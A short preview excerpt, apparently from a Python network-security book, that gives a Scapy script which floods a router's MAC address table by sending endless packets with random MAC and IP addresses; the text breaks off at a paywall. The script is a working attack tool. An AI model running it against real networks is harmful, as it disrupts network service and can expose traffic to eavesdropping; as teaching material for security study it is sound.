November 2017
Intermediate to advanced
226 pages
5h 59m
English
Here are the steps to flood MAC address store in a router:
import sys from scapy.all import *
interface = "en0"
pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()
The packet structure will be as follows:

try:
while True:
sendp(pkt, iface=interface)
except KeyboardInterrupt:
print("Exiting.. ...Read now
Unlock full access